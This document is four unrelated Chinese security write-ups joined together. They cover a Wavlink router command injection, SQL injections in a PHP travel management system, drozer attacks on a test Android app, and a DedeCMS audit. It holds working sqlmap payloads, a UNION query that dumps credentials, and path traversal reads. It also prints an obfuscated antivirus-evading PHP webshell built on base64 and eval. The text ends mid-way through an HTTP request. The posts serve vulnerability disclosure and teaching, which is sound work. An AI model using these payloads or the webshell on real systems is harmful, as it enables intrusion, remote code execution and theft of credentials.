某路由器二进制漏洞挖掘过程
1.前言 半个月前,我在对Wavlink品牌WL-NU516U1型号路由器进行安全测试时,发现其管理界面存在一处命令注入漏洞。 该漏洞源于系统对用户输入过滤不严,攻击者可通过特制的HTTP请求在设备中执行任意系统命令,从而完全控制设备。 经过深入分析与验证,确认该漏洞具有高危害性,可导致设备被完全接管。 我写了详细的技术报告,包括漏洞成因、利用方式和修复建议,并通过正规渠道向Wavlink厂商及CVE机构提交。 近日,该漏洞已正式获得CVE编号CVE-2025-9149。 https://www.wavlink.com/en_us/index.html2.漏洞概述 Wavlink是一家专注于网络设备和通信解决方案的公司,提供优质的路由器、扩展器和网络配件。其下的WAVLINK-NU516U1型号的固件,功能用于提供打印机服务器网卡,其管理后台存在命令注入漏洞,允许攻击者完成os命令执行。 固件下载地址: https://docs.wavlink.xyz/Firmware/fm-516u1/ 3.漏洞详情 对固件binwalk -Me [固件位置] 解包 binwalk -Me WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 获得其解包文件,而我们要找到/squashfs-root/etc/lighttpd/www/cgi-bin中的wireless.cgi二进制文件, 它的位置在 cgi-bin目录下,它是Lighttpd Web服务器的一个后端CGI程序。 当用户通过浏览器访问路由器的管理界面,比如说随便点击“无线设置”页面提交表单时,Lighttpd Web服务器会接收到这个HTTP请求。 Web服务器根据请求的URL,判断需要由哪个CGI程序来处理,对于无线设置相关的请求,它就会找到并执行这个 wireless.cgi文件。 wireless.cgi程序开始运行,它解析HTTP请求中的数据,比如你提交的表单项,然后可能会调用其他系统工具,如内置的 iwconfig、wpa_supplicant,或者直接读写配置文件, /etc/config/wireless来执行具体的无线网络配置更改。 处理完毕后,wireless.cgi会生成一个HTTP响应,比如一个成功响应的HTML页面,并将其输出到标准输出。 Web服务器捕获到这个输出,并将其打包成完整的HTTP响应,发送回给用户的浏览器。 与用户浏览器直接进行网络通信的是 Lighttpd Web服务器。 wireless.cgi是一个被Web服务器调用的后台程序,负责处理具体的业务逻辑。它是间接与外界通信的关键环节。 所以,这个wireless.cgi虽不直接与外界进行通信,但是它却负责处理用户从外部输入的数据,比如说HTTP请求参数,如果它对这些输入的处理不当,例如没有经过严格过滤就直接拼接成系统命令,就非常容易产生命令注入、缓冲区溢出等漏洞。 找到之后,拿IDA打开,观察其函数,先看main函数,首先用了fgets函数获取标准输入,拿到了用户提交的page参数值。 sub_405EA8函数将page参数值设置为GuestWifi,会跳转进入sub_4032E4函数。 sub_4032E4函数内,获取了Guest_ssid参数值,该值可以post传参可控,而且这段代码是典型的“功能开关”设计,程序在处理HTTP请求参数时,会依次读取多个配置值。 从参数名可以推断,guestEn代表 “Guest Enable”,即访客网络功能的总开关,代码首先获取这个开关的值 (v2 = sub_405EA8("guestEn", a1,0));,并将其保存到变量 v4中,而Guest_ssid是依赖项,Guest_ssid是访客网络功能下的一个子配置项,它的逻辑处理必然依赖于总开关 guestEn是否开启。 随后Guest_ssid参数值被传入sub_407504函数内。 而往上看会发现,必须v4为1,才会去执行sub_407504函数,否则就会跳到label_11的地方去,而v4在往上看则能够发现是字符串guestEn的值。 所以构造poc的时候,必须将guestEn设置为1 而在sub_407504函数中,在其中拼接给v8变量,交给system函数执行,产生了命令注入。 所以我们只需要构造page=GuestWifi&guestEn=1&Guest_ssid=1.txt就可以产生命令注入漏洞。 4.漏洞验证 首先使用工具将Wavlink模拟起来,这里选择了FrimAE sudo ./run.sh -r Wavlink /home/fuzz/Wavlink/WAVLINK-NU516U1-WO-A-2024-04-25-b516aec-GDBYFM.bin 检查名为"httpd"的进程是否正在运行 设备正在运行 lighttpd Web服务器,其配置文件位于 /etc/lighttpd/lighttpd.conf 在浏览器打开F12,观察其Cookie,好帮助我们接下来发包的时候顺利。 接下来进行一个发包测试,将数值写入到poc.txt文件中,观察Wavlink路由器文件是否会出现poc.txt,且里面是否有我们注入的内容。 可以发现已经成功注入进去了,证明这里确实存在命令注入漏洞。
在线旅游及旅行管理系统项目SQL注入
1.前言 之前在网上随便逛逛的时候,发现一个有各种各样的PHP项目的管理系统,随便点进一个查看,发现还把mysql版本都写出来了,而且还是PHP语言。 https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/那这可能存在sql注入漏洞,所以代码审计了一下,并上报了CVE,现在编号下来了 CVE-2025-9008,CVE-2025-8993,于是公开发现过程。 2.漏洞详情 1.1 CVE-2025-9008 下载其源代码之后,对“在线旅游及差旅管理系统”进行安全审查期间,发现“/admin/sms_setting.php””文件中存在一个高危SQL注入漏洞。 $sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',    password='".$_POST['password']."',    sender_id='".$_POST['sender_id']."'       WHERE id='1'"; 这段sql代码一眼望过去就是,直接将用户通过 $_POST超全局数组提交的数据,未经任何过滤和转义,就拼接到了 SQL 查询字符串中,那这肯定就存在sql注入漏洞。 因为sql 注入的核心在于“混淆了代码和数据”,用户的输入本应被视为普通数据,但由于直接拼接,攻击者可以精心构造输入,让其成为 sql代码的一部分,从而篡改原SQL语句的意图。 比如说在密码 password 输入框中,攻击者输入了:' OR '1'='1 那么,最终拼接出来的 SQL 语句会变成: UPDATE sms_setting SET uname='hacker',  password='' OR '1'='1', sender_id='fake_sender' WHERE id='1' 这条语句的含义被彻底改变了。password字段的赋值不再是一个简单的字符串,而是变成了一个逻辑判断 '' OR '1'='1'。这个判断的结果是 永远为真。 更高级的攻击者甚至可以输入类似 '; DROP TABLE users; --的内容,从而执行任意sql命令,比如说删除数据库表,导出数据库数据之类的操作。 payload --- Parameter: uname (POST)   Type: boolean-based blind   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause   Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=   Type: error-based   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)   Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update= --- 我们也可以使用一些工具来进行查看,比如说sqlmap。 sqlmap -u "http:/http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs 通过 HTTP POST 请求 提交的、名为 uname的表单字段,选择了布尔盲注的攻击类型。 布尔盲注这是一种高级注入技术,用于当网站不会直接显示数据库错误信息,并且查询结果也不会直接返回到页面上的情况。攻击者通过向数据库发送一个“问题”,然后根据页面返回的细微差异,一般来说都是通过观察页面是否可以正常加载来判断。 而图中的payload uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ 111111111111:这是一个随机的无效用户名,目的是让原查询的uname匹配不到结果。 RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。 (CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321 如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。 如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。 把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。 所以明确了这里存在sql注入漏洞。 1.2 CVE-2025-8993 接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。 这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。 而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。 它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。 比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。 $stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?"); 然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。 这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。 但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。 $stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' "); $_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。 攻击者只要在表单输入里构造恶意 payload,就能注入 sql。 虽然用了 PDO,但没有真正用到参数化查询。 $conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。 所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。 payload --- Parameter: from_date (POST)   Type: error-based   Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)   Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=   Type: time-based blind   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)   Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit= --- 用sqlmap进行检测 sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs sqlmap 识别到 POST 参数 from_date 存在注入漏洞。 测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。 所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。 还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。 from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&... 如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。 而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。 tour1,这个才是该cms特有的数据库名称。 所以明确了POST参数的from_date存在注入漏洞。 3.建议修复 使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。 输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。 最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。 定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。 具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。 在电脑端通过adb实现端口转发,并成功启动drozer adb forward tcp:31415 tcp:31415 drozer console connect 通过app.package.list的filter参数过滤alan关键词的包名称 run app.package.list --filter alan 查询该app的包信息 run app.package.info -a com.asec.alan 利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。 run app.package.attacksurface com.asec.alan 完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。 一、Activity Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。 1、未授权访问漏洞 需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。 通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制 run app.activity.info -a com.asec.alan 对于这些activity的执行逻辑属于 LoginActivity登录->MainActivity->InfoQueryActivity LoginActivity登录->MainActivity->FileQueryActivity 1)漏洞代码 以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储 当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。 通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转 该acitivity直接加载,未进行登录态的校验 通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。 2)漏洞利用 MainActivity加载: 基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true MainActivity的加载可直接通过drozer命令加载 run app.activity.start --component com.asec.alan com.asec.alan.MainActivity 执行后成功记载MainActivity 删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败 InfoQueryActivity加载: InfoQueryActivity则通过app.activity.start命令直接加载即可。 run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity 3)修复建议 二、Service Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。 新建一个用于漏洞测试的service,并写入一些漏洞的逻辑 service组件运行导出 通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。 run app.service.info -a com.asec.alan 1、任意文件写入漏洞 在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录 2)漏洞利用 通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer" 利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容 adb shell su ls /data/data/com.asec.alan/drozer_test.txt cat /data/data/com.asec.alan/drozer_test.txt 2、敏感信息泄露漏洞 敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。 1)漏洞代码 当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志 2)漏洞利用 利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务 run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService 通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。 adb logcat VulnerableService:D *:S 三、Broadcast Receiver Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。 1、伪造恶意广播漏洞 Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。 1)漏洞代码 该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。 2)漏洞利用 利用drozer伪造恶意广播并触发该接收器 run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test" 通过界面可以查看到对应的广播信息 四、Content Provider Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。 1、信息泄露漏洞 Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。 1)漏洞代码: 通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。 2)漏洞利用 利用drozer命令可以查看该APP的provider的信息 run app.provider.info -a com.asec.alan 利用app.provider.finduri可以查看所有的uri run app.provider.finduri com.asec.alan 通过drozer查询content://com.asec.alan.provider/该uri的数据 run app.provider.query content://com.asec.alan.provider/ 2、SQL 注入漏洞 Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。 1)漏洞代码 通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。 2)漏洞利用 利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入 run scanner.provider.injection -a com.asec.alan 基于sql注入漏洞的测试和利用,通过order by进行显示位的判断 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3" run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4" 并进行username和password数据的查询。 run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--" 3、目录遍历漏洞 Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。 1)漏洞代码 代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。 2)漏洞利用 利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri run scanner.provider.traversal -a com.asec.alan 并成功查询/system/etc/hosts文件内容 run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts 本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。 APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk 提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言 书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS 官方网站 https://www.dedecms.com/ 最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路 环境搭建 去官网下载源码,然后配合 phpstudy 搭建就 ok 了 这个比较简单,注意根目录需要放 upload 目录 注意默认的管理员目录是 dede,访问/dede/login.php 默认账户密码adminadmin 代码审计 这里我只找 RCE 漏洞 首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞 sink 点的话可以使用一个工具 Seay 源代码审计系统 https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术 我们直接把源码丢进去就可以了 可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的 然后这里我只关注能够 RCE 的漏洞 找到之后没有什么技巧,就是回头看参数是否可以控制 下面举个例子 案例 1 比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下 <?php /*<meta name="9Rrdzo" content="a">*/ $password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0 $username = get_meta_tags(__FILE__)[$_GET['token']]; header("ddddddd:".$username); $arr = apache_response_headers(); $template_source=''; foreach ($arr as $k => $v) {    if ($k[0] == 'd' && $k[5] == 'd') {        $template_source = str_replace($v,'',$password);   }} $template_source = base64_decode($template_source); $template_source = base64_decode($template_source); $key = 'template_source'; $aes_decode[1]=$key; @eval($aes_decode[1]); $NkM1M7 = ".............."; if( count($_REQUEST) || file_get_contents("php://input") ){ }else{    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);    echo base64_decode/**/($NkM1M7); } 我们可以看到这个参数其实是不能控制的 `aes_decode[1]就是 $key,等价于$template_source $template_source = str_replace($v, '', $password); 来源于$password 而其中 password 是固定的,所以不可以控制 案例 2 function DeleteFile($filename)   {        $filename = $this->baseDir.$this->activeDir."/$filename";        if(is_file($filename))       {            @unlink($filename); $t="文件";       }        else       {            $t = "目录";            if($this->allowDeleteDir==1)           {                $this->RmDirFiles($filename);           } else           {                // 完善用户体验,by:sumic                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);                exit;           }                   }        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);        return 0;   } } 是一个方法,这种需要寻找调用这个方法的地方 else if($fmdo=="del") {    $fmm->DeleteFile($filename); } 这种是一个典型的控制器,根据 fmdo 来选择对应的操作 不过根据所在的文件的注释 /** * 文件管理控制 * * @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $ * @package       DedeCMS.Administrator * @founder       IT柏拉图, https://weibo.com/itprato * @author         DedeCMS团队 * @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.) * @license       http://help.dedecms.com/usersguide/license.html * @link           http://www.dedecms.com */ 这里就能大概猜到了 是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越 不过这里是做了限制的 $filename = preg_replace("#([.]+[/]+)*#", "", $filename); 移除 ../ 形式的路径穿越字符 而且下面还会直接移除.. 所以考虑放弃 案例 3 定位到 sys_sql_query.php 文件了 发现可以执行 sql if(preg_match("#^select #i", $sqlquery))   {        $dsql->SetQuery($sqlquery);        $dsql->Execute();        if($dsql->GetTotalRow()<=0)       {            echo "运行SQL:{$sqlquery},无返回记录!";       }        else       {            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";       }        $j = 0;        while($row = $dsql->GetArray())       {            $j++;            if($j > 100)           {                break;           }            echo "<hr size=1 width='100%'/>";            echo "记录:$j";            echo "<hr size=1 width='100%'/>";            foreach($row as $k=>$v)           {                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";           }       }        exit();   }    if($querytype==2)   {        //普通的SQL语句        $sqlquery = str_replace("\r","",$sqlquery);        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);        $nerrCode = ""; $i=0;        foreach($sqls as $q)       {            $q = trim($q);            if($q=="")           {                continue;           }            $dsql->ExecuteNoneQuery($q);            $errCode = trim($dsql->GetError());            if($errCode=="")           {                $i++;           }            else           {                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";           }       }        echo "成功执行{$i}个SQL语句!<br><br>";        echo $nerrCode;   }    else   {        $dsql->ExecuteNoneQuery($sqlquery);        $nerrCode = trim($dsql->GetError());        echo "成功执行1个SQL语句!<br><br>";        echo $nerrCode;   }    exit(); } 而且 sql 语句是可以控制的 跟进执行的地方发现 function Execute($id="me", $sql='') {      global $dsqli; if(!$dsqli->isInit) { $this->Init($this->pconnect); }      if($dsqli->isClose)     {          $this->Open(FALSE);          $dsqli->isClose = FALSE;     }      if(!empty($sql))     {          $this->SetQuery($sql);     }      //SQL语句安全检查      if($this->safeCheck)     {          CheckSql($this->queryString);     }      $t1 = ExecTime();      //var_dump($this->queryString);      $this->result[$id] = mysqli_query($this->linkID, $this->queryString); //var_dump(mysql_error());      //查询性能测试      if($this->recordLog) { $queryTime = ExecTime() - $t1;          $this->RecordLog($queryTime);          //echo $this->queryString."--{$queryTime}<hr />\r\n";     }      if($this->result[$id]===FALSE)     {          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");     } } 是有一个 checksql 的检查的 //SQL语句过滤程序,由80sec提供,这里作了适当的修改 if (!function_exists('CheckSql')) {    function CheckSql($db_string,$querytype='select')   {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')       {            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";            //$notallow2 = "--|/\*";            if(preg_match("/".$notallow1."/i", $db_string))           {                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");           }       }        //完整的SQL检查        while (TRUE)       {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)           {                break;           }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)           {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)               {                    break;               }                elseif ($pos2 == FALSE || $pos2 > $pos1)               {                    $pos = $pos1;                    break;               }                $pos = $pos2 + 1;           }            $clean .= '$s#39;;            $old_pos = $pos + 1;       }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE        OR strpos($clean,'$s$s#39;)!== FALSE)       {            $fail = TRUE;            if(preg_match("#^create table#i",$clean)) $fail = FALSE;            $error="unusual character";       }        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="union detect";       }        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)       {            $fail = TRUE;            $error="comment detect";       }        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="slown down detect";       }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)       {            $fail = TRUE;            $error="file fun detect";       }        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)       {            $fail = TRUE;            $error="sub select detect";       }        if (!empty($fail))       {            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");       }        else       {            return $db_string;       }   } } 案例 4 基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法 我们来到对应的路由去查看 果然找到了 //文件编辑 /*--------------- function __saveEdit(); ----------------*/ else if($fmdo=="edit") {    csrf_check();    $filename = str_replace("..", "", $filename);    $file = "$cfg_basedir$activepath/$filename";    $str = stripslashes($str);    $fp = fopen($file, "w");    fputs($fp, $str);    fclose($fp);    if ($fp === false) {        ShowMsg("保存失败!请检查文件是否可写", -1);        exit();   }    if(empty($backurl))   {        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");   }    else   {        ShowMsg("成功保存文件!",$backurl);   }    exit(); } 一样的方法 文件名是 filename,内容是 str 我们访问对应的路由 发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗 POST /dede/file_manage_control.php HTTP/1.1 Host: dedecms:5135 Content-Length: 130 Cache-Control: max-age=0 Origin: http://dedecms:5135 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath= Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; 